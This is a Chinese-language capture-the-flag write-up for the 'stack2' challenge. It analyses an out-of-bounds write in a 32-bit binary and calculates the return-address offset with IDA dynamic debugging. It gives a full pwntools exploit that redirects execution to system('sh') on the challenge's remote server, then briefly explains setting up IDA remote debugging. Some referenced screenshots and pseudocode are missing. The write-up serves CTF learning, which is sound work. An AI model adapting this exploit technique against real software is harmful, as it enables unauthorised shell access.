攻防世界stack2 and ida动态调试
首先按照常规,检查程序保护机制,发现除了pie,都开启了,并且使32位程序。
上ida调试,查看伪代码,分析程序,发现程序的功能就是一个字符数组的展示,增加,修改,还有就是求平均值
伪代码如下
程序的第三个功能就是字符串的修改,这里发现漏洞,这里可以发现在对v13赋值时,程序并没有进行边界检查,这就给了我们栈溢出的机会,我们可以利用栈溢出构造ROP,达到劫持程序的效果。
搜索字符串,发现敏感字符,跟进发现后门函数
,
利用思路:
我们利用栈溢出漏洞将返回地址修改为我们的后门函数地址,实现程序劫持。
要将程序的返回地址覆盖就必须找到v13的偏移,下面开始计算偏移。
这里计算偏移我们使用ida的动态调试,ida动态调试过程我们后面会讲,现在直接上手调试
在漏洞利用点和‘return 0;’处下断点,然后将程序运行起来
在程序中输入
然后在ida页面断下来,eip所处的位置在这里,我们使用F8开始一步步调试
到这里我们查看edx,发现里面是我们输入的数字9 ,然后双击var_88定位到栈段中的地址,栈地址为0xFFC8AC90,
这时我们查看ebp的地址(在栈段中jump ebp),可以看到ebp地址为0xFFC8AD18
计算偏移为
0xFFC8AD18-0xFFC8AC90-4(ebp占用的空间)=0x84
偏移计算出来后,开始利用,首先将system函数的返回地址写入栈段中,然后这里还有一个问题就是system函数的参数问题,这里的参数是"/bin/bash",但是环境中并没有bash,不能使用,但是可以使用sh参数得到shell,这里要将sh的地址传入栈中。
先找到system函数的地址0x08048450
找到sh地址,这里s在第七位,所以地址为0x08048987
构造exp
#!usr/bin/python
#coding=utf-8
from pwn import *
context(arch="i386",os="linux")
io=remote("220.249.52.133",41732)
sh_addr = [0x87, 0x89, 0x04, 0x08]
sys_addr = [0x50, 0x84, 0x04, 0x08]
offset = 0x84
def add(addr,value):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(value))
io.recvuntil("you have:\n")
io.sendline("1")
io.recvuntil("numbers\n")
io.sendline("1")
#0x08048450
for i in range(4):
add(offset+i, sys_addr[i])
for i in range(4):
add(offset+i+8, sh_addr[i])
io.sendline("5")
io.interactive()
io.interactive()
ida动态调试
首先将ida目录中dbgsrv文件下的这两个文件复制到linux中,并且按照要调试的程序位数运行起来,例如32位就运行linux_server
运行起来过后,我们打开ida,加载要运行的文件,
然后点击debugger下面最后一个
选择远程linx
然后输入相应的ip地址,和密码,然后就可以F9开始调试了!!!!
上一篇: 工具类-Linux-SSH处理类